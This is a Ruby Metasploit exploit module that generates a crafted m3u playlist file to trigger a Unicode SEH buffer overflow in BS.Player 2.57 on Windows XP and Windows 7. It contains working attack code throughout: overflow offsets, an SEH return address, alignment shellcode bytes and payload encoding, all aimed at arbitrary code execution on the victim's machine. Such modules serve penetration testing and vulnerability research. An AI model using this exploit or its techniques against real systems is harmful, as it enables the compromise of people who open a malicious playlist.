1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::FILEFORMAT
10
  include Msf::Exploit::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'BS.Player 2.57 Buffer Overflow (Unicode SEH)',
17
        'Description' => %q{
18
          This module exploits a buffer overflow in BS.Player 2.57. When
19
          the playlist import is used to import a specially crafted m3u file,
20
          a buffer overflow occurs allowing arbitrary code execution.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => [
24
          'C4SS!0 G0M3S ', # Original Exploit
25
          'Chris Gabriel', # MSF Module
26
          # Greets: Corelan team for mona.py & awesome tutorials
27
        ],
28
        'References' => [
29
          [ 'OSVDB', '82528' ],
30
          [ 'EDB', '15934' ]
31
        ],
32
        'DefaultOptions' => {
33
          'EXITFUNC' => 'process',
34
          # 'InitialAutoRunScript' => 'migrate -f',
35
        },
36
        'Platform' => 'win',
37
        'Payload' => {
38
          'Space' => 2000,
39
          'BadChars' => "\x00\x0a\x0d\x1a\x80",
40
          'DisableNops' => true,
41
          'StackAdjustment' => -3500,
42
        },
43

44
        'Targets' => [
45
          [
46
            'Windows XP',
47
            {
48
              # pop ecx # pop ebp # ret 0c
49
              # ASLR: False, Rebase: False, SafeSEH: False
50
              # v2.5.7.1051 (bsplayer.exe)
51
              'Ret' => "\x2f\x49",
52
              'Offset' => 4102,
53
              'Padding' => 1879
54
            }
55
          ],
56
          [
57
            'Windows 7',
58
            {
59
              # pop ecx # pop ebp # ret 0c
60
              # ASLR: False, Rebase: False, SafeSEH: False
61
              # v2.5.7.1051 (bsplayer.exe)
62
              'Ret' => "\x2f\x49",
63
              'Offset' => 4102,
64
              'Padding' => 1931
65
            }
66
          ],
67
        ],
68
        'Privileged' => false,
69
        'DisclosureDate' => '2010-01-07',
70
        'DefaultTarget' => 0,
71
        'Notes' => {
72
          'Reliability' => UNKNOWN_RELIABILITY,
73
          'Stability' => UNKNOWN_STABILITY,
74
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
75
        }
76
      )
77
    )
78

79
    register_options(
80
      [
81
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
82
      ]
83
    )
84
  end
85

86
  def exploit
87
    nseh = "\x61\x42"
88

89
    align = ''
90
    align << "\x58"	# POP EAX
91
    align << "\x6d"	# PAD
92
    align << "\x58"	# POP EAX
93
    align << "\x6d"	# PAD
94
    align << "\x58"	# POP EAX
95
    align << "\x6d"	# PAD
96
    align << "\x58"	# POP EAX
97
    align << "\x6d"	# PAD
98
    align << "\x58"	# POP EAX
99
    align << "\x6d"	# PAD
100
    align << "\x58"	# POP EAX
101
    align << "\x6d"	# PAD
102
    align << "\x58"	# POP EAX
103
    align << "\x6d"	# PAD
104
    align << "\x58"	# POP EAX
105
    align << "\x6d"	# PAD
106
    align << "\x58"	# POP EAX
107
    align << "\x6d"	# PAD
108
    align << "\x58"	# POP EAX
109
    align << "\x6d"	# PAD
110
    align << "\x58"	# POP EAX
111
    align << "\x6d"	# PAD
112
    align << "\x58"	# POP EAX
113
    align << "\x6d"	# PAD
114
    align << "\x58"	# POP EAX
115
    align << "\x6d"	# PAD
116
    align << "\x50"	# PUSH EAX
117
    align << "\x6d"	# PAD
118
    align << "\xc3"	# RET
119

120
    enc = framework.encoders.create('x86/unicode_mixed')
121
    register_to_align_to = "EAX"
122
    enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
123
    unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
124

125
    padding = rand_text_alpha_lower(target['Padding'])
126

127
    buffer = "http://"
128
    buffer << rand_text_alpha_lower(target['Offset'])
129
    buffer << nseh
130
    buffer << target['Ret']
131
    buffer << align
132
    buffer << padding
133
    buffer << unicodepayload
134

135
    file_create(buffer)
136
  end
137
end
138

139